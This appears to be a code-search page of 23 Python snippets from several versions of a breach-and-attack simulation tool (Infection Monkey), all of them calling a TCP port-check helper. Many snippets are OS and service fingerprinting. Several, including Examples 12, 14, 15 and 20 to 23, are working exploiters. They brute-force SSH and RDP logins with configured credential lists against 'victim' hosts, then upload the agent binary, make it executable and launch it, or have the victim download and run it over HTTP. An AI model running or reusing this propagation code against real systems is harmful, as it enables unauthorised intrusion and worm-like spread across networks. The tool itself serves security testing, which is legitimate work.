Example #1
0
    def is_os_supported(self):
        if super(SmbExploiter, self).is_os_supported():
            return True

        if not self.host.os.get('type'):
            is_smb_open, _ = check_port_tcp(self.host.ip_addr, 445)
            if is_smb_open:
                smb_finger = SMBFinger()
                smb_finger.get_host_fingerprint(self.host)
            else:
                is_nb_open, _ = check_port_tcp(self.host.ip_addr, 139)
                if is_nb_open:
                    self.host.os['type'] = 'windows'
            return self.host.os.get('type') in self._TARGET_OS_TYPE
        return False
Example #2
0
    def is_os_supported(self):
        if super(SmbExploiter, self).is_os_supported():
            return True

        if not self.host.os.get('type'):
            is_smb_open, _ = check_port_tcp(self.host.ip_addr, 445)
            if is_smb_open:
                smb_finger = SMBFinger()
                smb_finger.get_host_fingerprint(self.host)
            else:
                is_nb_open, _ = check_port_tcp(self.host.ip_addr, 139)
                if is_nb_open:
                    self.host.os['type'] = 'windows'
            return self.host.os.get('type') in self._TARGET_OS_TYPE
        return False
Example #3
0
    def is_os_supported(self, host):
        if host.os.get('type') in self._target_os_type:
            return True

        if not host.os.get('type'):
            is_smb_open, _ = check_port_tcp(host.ip_addr, 445)
            if is_smb_open:
                smb_finger = SMBFinger()
                smb_finger.get_host_fingerprint(host)
            else:
                is_nb_open, _ = check_port_tcp(host.ip_addr, 139)
                if is_nb_open:
                    host.os['type'] = 'windows'
            return host.os.get('type') in self._target_os_type
        return False
Example #4
0
    def is_os_supported(self, host):
        if host.os.get('type') in self._target_os_type:
            return True

        if not host.os.get('type'):
            is_smb_open,_ = check_port_tcp(host.ip_addr, 445)
            if is_smb_open:
                smb_finger = SMBFinger()
                smb_finger.get_host_fingerprint(host)
            else:
                is_nb_open,_ = check_port_tcp(host.ip_addr, 139)
                if is_nb_open:
                    host.os['type'] = 'windows'
            return host.os.get('type') in self._target_os_type
        return False        
Example #5
0
    def get_host_fingerprint(self, host, only_one_port=False):
        assert isinstance(host, VictimHost)

        count = 0
        # maybe hide under really bad detection systems
        target_ports = self._config.tcp_target_ports[:]
        shuffle(target_ports)

        for target_port in target_ports:

            is_open, banner = check_port_tcp(host.ip_addr,
                                             target_port,
                                             self._config.tcp_scan_timeout / 1000.0,
                                             self._config.tcp_scan_get_banner)

            if is_open:
                count += 1
                service = 'tcp-' + str(target_port)
                host.services[service] = {}
                if banner:
                    host.services[service]['banner'] = banner
                if only_one_port:
                    break
            else:
                time.sleep(self._config.tcp_scan_interval / 1000.0)

        return count != 0
Example #6
0
    def get_host_fingerprint(self, host, only_one_port=False):
        assert isinstance(host, VictimHost)

        count = 0
        # maybe hide under really bad detection systems
        target_ports = self._config.tcp_target_ports[:]
        shuffle(target_ports)

        for target_port in target_ports:

            is_open, banner = check_port_tcp(
                host.ip_addr, target_port,
                self._config.tcp_scan_timeout / 1000.0,
                self._config.tcp_scan_get_banner)

            if is_open:
                count += 1
                service = 'tcp-' + str(target_port)
                host.services[service] = {}
                if banner:
                    host.services[service]['banner'] = banner
                if only_one_port:
                    break
            else:
                time.sleep(self._config.tcp_scan_interval / 1000.0)

        return count != 0
Example #7
0
    def is_os_supported(self, host):
        if host.os.get('type') in self._target_os_type:
            return True

        if not host.os.get('type'):
            is_open,_ = check_port_tcp(host.ip_addr, RDP_PORT)
            if is_open:
                host.os['type'] = 'windows'
                return True
        return False
Example #8
0
    def is_os_supported(self):
        if super(RdpExploiter, self).is_os_supported():
            return True

        if not self.host.os.get('type'):
            is_open, _ = check_port_tcp(self.host.ip_addr, RDP_PORT)
            if is_open:
                self.host.os['type'] = 'windows'
                return True
        return False
Example #9
0
    def is_os_supported(self, host):
        if host.os.get('type') in self._target_os_type and \
                        host.os.get('version') in self._windows_versions.keys():
            return True

        if not host.os.get('type') or (host.os.get('type') in self._target_os_type and not host.os.get('version')):
            is_smb_open,_ = check_port_tcp(host.ip_addr, 445)
            if is_smb_open:
                smb_finger = SMBFinger()
                if smb_finger.get_host_fingerprint(host):
                    return host.os.get('type') in self._target_os_type and \
                            host.os.get('version') in self._windows_versions.keys()
        return False
Example #10
0
    def is_os_supported(self):
        if self.host.os.get('type') in self._TARGET_OS_TYPE and \
                        self.host.os.get('version') in self._windows_versions.keys():
            return True

        if not self.host.os.get('type') or (
                        self.host.os.get('type') in self._TARGET_OS_TYPE and not self.host.os.get('version')):
            is_smb_open, _ = check_port_tcp(self.host.ip_addr, 445)
            if is_smb_open:
                smb_finger = SMBFinger()
                if smb_finger.get_host_fingerprint(self.host):
                    return self.host.os.get('type') in self._TARGET_OS_TYPE and \
                           self.host.os.get('version') in self._windows_versions.keys()
        return False
Example #11
0
    def is_os_supported(self, host):
        if host.os.get('type') in self._target_os_type and \
                        host.os.get('version') in self._windows_versions.keys():
            return True

        if not host.os.get('type') or (host.os.get('type')
                                       in self._target_os_type
                                       and not host.os.get('version')):
            is_smb_open, _ = check_port_tcp(host.ip_addr, 445)
            if is_smb_open:
                smb_finger = SMBFinger()
                if smb_finger.get_host_fingerprint(host):
                    return host.os.get('type') in self._target_os_type and \
                            host.os.get('version') in self._windows_versions.keys()
        return False
Example #12
0
    def exploit_host(self, host, depth=-1, src_path=None):
        ssh = paramiko.SSHClient()
        ssh.set_missing_host_key_policy(paramiko.WarningPolicy())

        port = SSH_PORT
        # if ssh banner found on different port, use that port.
        for servkey, servdata in host.services.items():
            if servdata.get('name') == 'ssh' and servkey.startswith('tcp-'):
                port = int(servkey.replace('tcp-', ''))

        is_open, _ = check_port_tcp(host.ip_addr, port)
        if not is_open:
            LOG.info("SSH port is closed on %r, skipping", host)
            return False

        passwords = list(self._config.ssh_passwords[:])
        users = list(self._config.ssh_users)
        known_passwords = [host.get_credentials(x) for x in users]
        if len(known_passwords) > 0:
            for known_pass in known_passwords:
                if known_pass in passwords:
                    passwords.remove(known_pass)
                    passwords.insert(0, known_pass)  #try first
        user_pass = product(users, passwords)

        exploited = False
        for user, curpass in user_pass:
            try:
                ssh.connect(host.ip_addr,
                            username=user,
                            password=curpass,
                            port=port,
                            timeout=None)

                LOG.debug("Successfully logged in %r using SSH (%s : %s)",
                          host, user, curpass)
                host.learn_credentials(user, curpass)
                exploited = True
                break

            except Exception, exc:
                LOG.debug(
                    "Error logging into victim %r with user"
                    " %s and password '%s': (%s)", host, user, curpass, exc)
                report_failed_login(self, host, user, curpass)
                continue
Example #13
0
def _check_tunnel(address, port, existing_sock=None):
    if not existing_sock:
        sock = _set_multicast_socket()
    else:
        sock = existing_sock

    LOG.debug("Checking tunnel %s:%s", address, port)
    is_open, _ = check_port_tcp(address, int(port))
    if not is_open:
        LOG.debug("Could not connect to %s:%s", address, port)
        if not existing_sock:
            sock.close()
        return False

    try:
        sock.sendto("+", (address, MCAST_PORT))
    except Exception, exc:
        LOG.debug("Caught exception in tunnel registration: %s", exc)
Example #14
0
    def exploit_host(self, host, depth=-1, src_path=None):
        ssh = paramiko.SSHClient()
        ssh.set_missing_host_key_policy(paramiko.WarningPolicy())

        port = SSH_PORT
        # if ssh banner found on different port, use that port.
        for servkey, servdata in host.services.items():
            if servdata.get('name') == 'ssh' and servkey.startswith('tcp-'):
                port = int(servkey.replace('tcp-', ''))

        is_open, _ = check_port_tcp(host.ip_addr, port)
        if not is_open:
            LOG.info("SSH port is closed on %r, skipping", host)
            return False                

        passwords = list(self._config.ssh_passwords[:])
        known_password = host.get_credentials(self._config.ssh_user)
        if known_password is not None:
            if known_password in passwords:
                passwords.remove(known_password)
            passwords.insert(0, known_password)

        exploited = False
        for password in passwords:
            try:
                ssh.connect(host.ip_addr,
                            username=self._config.ssh_user,
                            password=password,
                            port=port,
                            timeout=None)

                LOG.debug("Successfully logged in %r using SSH (%s : %s)",
                          host, self._config.ssh_user, password)
                host.learn_credentials(self._config.ssh_user, password)
                exploited = True
                break

            except Exception, exc:
                LOG.debug("Error logging into victim %r with user"
                          " %s and password '%s': (%s)", host,
                          self._config.ssh_user, password, exc)
                continue
Example #15
0
    def exploit_host(self, host, depth=-1, src_path=None):
        ssh = paramiko.SSHClient()
        ssh.set_missing_host_key_policy(paramiko.WarningPolicy())

        port = SSH_PORT
        # if ssh banner found on different port, use that port.
        for servkey, servdata in host.services.items():
            if servdata.get("name") == "ssh" and servkey.startswith("tcp-"):
                port = int(servkey.replace("tcp-", ""))

        is_open, _ = check_port_tcp(host.ip_addr, port)
        if not is_open:
            LOG.info("SSH port is closed on %r, skipping", host)
            return False

        passwords = list(self._config.ssh_passwords[:])
        users = list(self._config.ssh_users)
        known_passwords = [host.get_credentials(x) for x in users]
        if len(known_passwords) > 0:
            for known_pass in known_passwords:
                if known_pass in passwords:
                    passwords.remove(known_pass)
                    passwords.insert(0, known_pass)  # try first
        user_pass = product(users, passwords)

        exploited = False
        for user, curpass in user_pass:
            try:
                ssh.connect(host.ip_addr, username=user, password=curpass, port=port, timeout=None)

                LOG.debug("Successfully logged in %r using SSH (%s : %s)", host, user, curpass)
                host.learn_credentials(user, curpass)
                exploited = True
                break

            except Exception, exc:
                LOG.debug(
                    "Error logging into victim %r with user" " %s and password '%s': (%s)", host, user, curpass, exc
                )
                report_failed_login(self, host, user, curpass)
                continue
Example #16
0
    def get_host_fingerprint(self, host):
        assert isinstance(host, VictimHost)

        for name, data in host.services.items():
            banner = data.get('banner', '')
            if self._banner_regex.search(banner):
                self._banner_match(name, host, banner)
                return

        is_open, banner = check_port_tcp(host.ip_addr, SSH_PORT, TIMEOUT, True)

        if is_open:
            host.services[SSH_SERVICE_DEFAULT] = {}

            if banner:
                host.services[SSH_SERVICE_DEFAULT]['banner'] = banner
                if self._banner_regex.search(banner):
                    self._banner_match(SSH_SERVICE_DEFAULT, host, banner)
                return True

        return False
Example #17
0
    def get_host_fingerprint(self, host):
        assert isinstance(host, VictimHost)

        for name, data in host.services.items():
            banner = data.get('banner', '')
            if self._banner_regex.search(banner):
                self._banner_match(name, host, banner)
                return

        is_open, banner = check_port_tcp(host.ip_addr, SSH_PORT, TIMEOUT, True)

        if is_open:
            host.services[SSH_SERVICE_DEFAULT] = {}

            if banner:
                host.services[SSH_SERVICE_DEFAULT]['banner'] = banner
                if self._banner_regex.search(banner):
                    self._banner_match(SSH_SERVICE_DEFAULT, host, banner)
                return True

        return False
Example #18
0
def find_tunnel(default=None, attempts=3, timeout=DEFAULT_TIMEOUT):
    l_ips = local_ips()

    for adapter in l_ips:
        for attempt in range(0, attempts):
            try:
                LOG.info("Trying to find using adapter %s", adapter)
                sock = _set_multicast_socket(timeout, adapter)
                sock.sendto("?", (MCAST_GROUP, MCAST_PORT))
                tunnels = []
                if default:
                    tunnels.append(default)

                while True:
                    try:
                        answer, address = sock.recvfrom(BUFFER_READ)
                        if answer not in ['?', '+', '-']:
                            tunnels.append(answer)
                    except socket.timeout:
                        break

                for tunnel in tunnels:
                    if tunnel.find(':') != -1:
                        address, port = tunnel.split(':', 1)
                        if address in l_ips:
                            continue

                        LOG.debug("Checking tunnel %s:%s", address, port)
                        is_open, _ = check_port_tcp(address, int(port))
                        if not is_open:
                            LOG.debug("Could not connect to %s:%s", address,
                                      port)
                            continue

                        sock.sendto("+", (address, MCAST_PORT))
                        sock.close()
                        return address, port
            except Exception, exc:
                LOG.debug("Caught exception in tunnel lookup: %s", exc)
                continue
Example #19
0
def find_tunnel(default=None, attempts=3, timeout=DEFAULT_TIMEOUT):
    l_ips = local_ips()

    for adapter in l_ips:
        for attempt in range(0, attempts):
            try:
                LOG.info("Trying to find using adapter %s", adapter)
                sock = _set_multicast_socket(timeout, adapter)
                sock.sendto("?", (MCAST_GROUP, MCAST_PORT))
                tunnels = []
                if default:
                    tunnels.append(default)

                while True:
                    try:
                        answer, address = sock.recvfrom(BUFFER_READ)
                        if answer not in ['?', '+', '-']:
                            tunnels.append(answer)
                    except socket.timeout:
                        break

                for tunnel in tunnels:
                    if tunnel.find(':') != -1:
                        address, port = tunnel.split(':', 1)
                        if address in l_ips:
                            continue

                        LOG.debug("Checking tunnel %s:%s", address, port)
                        is_open, _ = check_port_tcp(address, int(port))
                        if not is_open:
                            LOG.debug("Could not connect to %s:%s", address, port)
                            continue

                        sock.sendto("+", (address, MCAST_PORT))
                        sock.close()
                        return address, port
            except Exception, exc:
                LOG.debug("Caught exception in tunnel lookup: %s", exc)
                continue
Example #20
0
    def exploit_host(self):
        ssh = paramiko.SSHClient()
        ssh.set_missing_host_key_policy(paramiko.WarningPolicy())

        port = SSH_PORT
        # if ssh banner found on different port, use that port.
        for servkey, servdata in self.host.services.items():
            if servdata.get('name') == 'ssh' and servkey.startswith('tcp-'):
                port = int(servkey.replace('tcp-', ''))

        is_open, _ = check_port_tcp(self.host.ip_addr, port)
        if not is_open:
            LOG.info("SSH port is closed on %r, skipping", self.host)
            return False

        user_password_pairs = self._config.get_exploit_user_password_pairs()

        exploited = False
        for user, curpass in user_password_pairs:
            try:
                ssh.connect(self.host.ip_addr,
                            username=user,
                            password=curpass,
                            port=port,
                            timeout=None)

                LOG.debug("Successfully logged in %r using SSH (%s : %s)",
                          self.host, user, curpass)
                self.report_login_attempt(True, user, curpass)
                exploited = True
                break

            except Exception as exc:
                LOG.debug("Error logging into victim %r with user"
                          " %s and password '%s': (%s)", self.host,
                          user, curpass, exc)
                self.report_login_attempt(False, user, curpass)
                continue

        if not exploited:
            LOG.debug("Exploiter SSHExploiter is giving up...")
            return False

        if not self.host.os.get('type'):
            try:
                _, stdout, _ = ssh.exec_command('uname -o')
                uname_os = stdout.read().lower().strip()
                if 'linux' in uname_os:
                    self.host.os['type'] = 'linux'
                else:
                    LOG.info("SSH Skipping unknown os: %s", uname_os)
                    return False
            except Exception as exc:
                LOG.debug("Error running uname os commad on victim %r: (%s)", self.host, exc)
                return False

        if not self.host.os.get('machine'):
            try:
                _, stdout, _ = ssh.exec_command('uname -m')
                uname_machine = stdout.read().lower().strip()
                if '' != uname_machine:
                    self.host.os['machine'] = uname_machine
            except Exception as exc:
                LOG.debug("Error running uname machine commad on victim %r: (%s)", self.host, exc)

        if self.skip_exist:
            _, stdout, stderr = ssh.exec_command("head -c 1 %s" % self._config.dropper_target_path_linux)
            stdout_res = stdout.read().strip()
            if stdout_res:
                # file exists
                LOG.info("Host %s was already infected under the current configuration, done" % self.host)
                return True  # return already infected

        src_path = get_target_monkey(self.host)

        if not src_path:
            LOG.info("Can't find suitable monkey executable for host %r", self.host)
            return False

        try:
            ftp = ssh.open_sftp()

            self._update_timestamp = time.time()
            with monkeyfs.open(src_path) as file_obj:
                ftp.putfo(file_obj, self._config.dropper_target_path_linux, file_size=monkeyfs.getsize(src_path),
                          callback=self.log_transfer)
                ftp.chmod(self._config.dropper_target_path_linux, 0o777)

            ftp.close()
        except Exception as exc:
            LOG.debug("Error uploading file into victim %r: (%s)", self.host, exc)
            return False

        try:
            cmdline = "%s %s" % (self._config.dropper_target_path_linux, MONKEY_ARG)
            cmdline += build_monkey_commandline(self.host, get_monkey_depth() - 1)
            cmdline += "&"
            ssh.exec_command(cmdline)

            LOG.info("Executed monkey '%s' on remote victim %r (cmdline=%r)",
                     self._config.dropper_target_path_linux, self.host, cmdline)

            ssh.close()
            return True

        except Exception as exc:
            LOG.debug("Error running monkey on victim %r: (%s)", self.host, exc)
            return False
Example #21
0
    def exploit_host(self):
        global g_reactor

        is_open, _ = check_port_tcp(self.host.ip_addr, RDP_PORT)
        if not is_open:
            LOG.info("RDP port is closed on %r, skipping", self.host)
            return False

        src_path = get_target_monkey(self.host)

        if not src_path:
            LOG.info("Can't find suitable monkey executable for host %r", self.host)
            return False

        # create server for http download.
        http_path, http_thread = HTTPTools.create_transfer(self.host, src_path)

        if not http_path:
            LOG.debug("Exploiter RdpGrinder failed, http transfer creation failed.")
            return False

        LOG.info("Started http server on %s", http_path)

        cmdline = build_monkey_commandline(self.host, get_monkey_depth() - 1)

        if self._config.rdp_use_vbs_download:
            command = RDP_CMDLINE_HTTP_VBS % {
                'monkey_path': self._config.dropper_target_path,
                'http_path': http_path, 'parameters': cmdline}
        else:
            command = RDP_CMDLINE_HTTP_BITS % {
                'monkey_path': self._config.dropper_target_path,
                'http_path': http_path, 'parameters': cmdline}

        user_password_pairs = self._config.get_exploit_user_password_pairs()

        if not g_reactor.is_alive():
            g_reactor.daemon = True
            g_reactor.start()

        exploited = False
        for user, password in user_password_pairs:
            try:
                # run command using rdp.
                LOG.info("Trying RDP logging into victim %r with user %s and password '%s'",
                         self.host, user, password)

                LOG.info("RDP connected to %r", self.host)

                client_factory = CMDClientFactory(user, password, "", command)

                reactor.callFromThread(reactor.connectTCP, self.host.ip_addr, RDP_PORT, client_factory)

                client_factory.done_event.wait()

                if client_factory.success:
                    exploited = True
                    self.report_login_attempt(True, user, password)
                    break
                else:
                    # failed exploiting with this user/pass
                    self.report_login_attempt(False, user, password)

            except Exception as exc:
                LOG.debug("Error logging into victim %r with user"
                          " %s and password '%s': (%s)", self.host,
                          user, password, exc)
                continue

        http_thread.join(DOWNLOAD_TIMEOUT)
        http_thread.stop()

        if not exploited:
            LOG.debug("Exploiter RdpGrinder failed, rdp failed.")
            return False
        elif http_thread.downloads == 0:
            LOG.debug("Exploiter RdpGrinder failed, http download failed.")
            return False

        LOG.info("Executed monkey '%s' on remote victim %r",
                 os.path.basename(src_path), self.host)

        return True
Example #22
0
    def exploit_host(self, host, depth=-1, src_path=None):
        global g_reactor
        assert isinstance(host, VictimHost)

        is_open, _ = check_port_tcp(host.ip_addr, RDP_PORT)
        if not is_open:
            LOG.info("RDP port is closed on %r, skipping", host)
            return False

        src_path = src_path or get_target_monkey(host)

        if not src_path:
            LOG.info("Can't find suitable monkey executable for host %r", host)
            return False

        # create server for http download.
        http_path, http_thread = HTTPTools.create_transfer(host, src_path)

        if not http_path:
            LOG.debug("Exploiter RdpGrinder failed, http transfer creation failed.")
            return False

        cmdline = build_monkey_commandline(host, depth-1)

        if self._config.rdp_use_vbs_download:
            command = RDP_CMDLINE_HTTP_VBS % {'monkey_path': self._config.dropper_target_path, 'http_path': http_path, 'parameters': cmdline}
        else:
            command = RDP_CMDLINE_HTTP_BITS % {'monkey_path': self._config.dropper_target_path, 'http_path': http_path, 'parameters': cmdline}

        passwords = list(self._config.psexec_passwords[:])
        known_password = host.get_credentials(self._config.psexec_user)
        if known_password is not None:
            if known_password in passwords:
                passwords.remove(known_password)
            passwords.insert(0, known_password)

        if not g_reactor.is_alive():
            g_reactor.daemon = True
            g_reactor.start()            

        exploited = False
        for password in passwords:
            try:
                # run command using rdp.
                LOG.info("Trying rdp logging into victim %r with user %s and password '%s'",
                         host, self._config.psexec_user, password)

                client_factory = CMDClientFactory(self._config.psexec_user, password, "", command)

                reactor.callFromThread(reactor.connectTCP, host.ip_addr, RDP_PORT, client_factory)

                client_factory.done_event.wait()
                
                if client_factory.success:
                    exploited = True
                    host.learn_credentials(self._config.psexec_user, password)
                    break

            except Exception, exc:
                LOG.debug("Error logging into victim %r with user"
                          " %s and password '%s': (%s)", host,
                          self._config.psexec_user, password, exc)
                continue
Example #23
0
    def exploit_host(self):
        ssh = paramiko.SSHClient()
        ssh.set_missing_host_key_policy(paramiko.WarningPolicy())

        port = SSH_PORT
        # if ssh banner found on different port, use that port.
        for servkey, servdata in self.host.services.items():
            if servdata.get('name') == 'ssh' and servkey.startswith('tcp-'):
                port = int(servkey.replace('tcp-', ''))

        is_open, _ = check_port_tcp(self.host.ip_addr, port)
        if not is_open:
            LOG.info("SSH port is closed on %r, skipping", self.host)
            return False

        user_password_pairs = self._config.get_exploit_user_password_pairs()

        exploited = False
        for user, curpass in user_password_pairs:
            try:
                ssh.connect(self.host.ip_addr,
                            username=user,
                            password=curpass,
                            port=port,
                            timeout=None)

                LOG.debug("Successfully logged in %r using SSH (%s : %s)",
                          self.host, user, curpass)
                self.report_login_attempt(True, user, curpass)
                exploited = True
                break

            except Exception as exc:
                LOG.debug(
                    "Error logging into victim %r with user"
                    " %s and password '%s': (%s)", self.host, user, curpass,
                    exc)
                self.report_login_attempt(False, user, curpass)
                continue

        if not exploited:
            LOG.debug("Exploiter SSHExploiter is giving up...")
            return False

        if not self.host.os.get('type'):
            try:
                _, stdout, _ = ssh.exec_command('uname -o')
                uname_os = stdout.read().lower().strip()
                if 'linux' in uname_os:
                    self.host.os['type'] = 'linux'
                else:
                    LOG.info("SSH Skipping unknown os: %s", uname_os)
                    return False
            except Exception as exc:
                LOG.debug("Error running uname os commad on victim %r: (%s)",
                          self.host, exc)
                return False

        if not self.host.os.get('machine'):
            try:
                _, stdout, _ = ssh.exec_command('uname -m')
                uname_machine = stdout.read().lower().strip()
                if '' != uname_machine:
                    self.host.os['machine'] = uname_machine
            except Exception as exc:
                LOG.debug(
                    "Error running uname machine commad on victim %r: (%s)",
                    self.host, exc)

        if self.skip_exist:
            _, stdout, stderr = ssh.exec_command(
                "head -c 1 %s" % self._config.dropper_target_path_linux)
            stdout_res = stdout.read().strip()
            if stdout_res:
                # file exists
                LOG.info(
                    "Host %s was already infected under the current configuration, done"
                    % self.host)
                return True  # return already infected

        src_path = get_target_monkey(self.host)

        if not src_path:
            LOG.info("Can't find suitable monkey executable for host %r",
                     self.host)
            return False

        try:
            ftp = ssh.open_sftp()

            self._update_timestamp = time.time()
            with monkeyfs.open(src_path) as file_obj:
                ftp.putfo(file_obj,
                          self._config.dropper_target_path_linux,
                          file_size=monkeyfs.getsize(src_path),
                          callback=self.log_transfer)
                ftp.chmod(self._config.dropper_target_path_linux, 0o777)

            ftp.close()
        except Exception as exc:
            LOG.debug("Error uploading file into victim %r: (%s)", self.host,
                      exc)
            return False

        try:
            cmdline = "%s %s" % (self._config.dropper_target_path_linux,
                                 MONKEY_ARG)
            cmdline += build_monkey_commandline(self.host,
                                                get_monkey_depth() - 1)
            cmdline += "&"
            ssh.exec_command(cmdline)

            LOG.info("Executed monkey '%s' on remote victim %r (cmdline=%r)",
                     self._config.dropper_target_path_linux, self.host,
                     cmdline)

            ssh.close()
            return True

        except Exception as exc:
            LOG.debug("Error running monkey on victim %r: (%s)", self.host,
                      exc)
            return False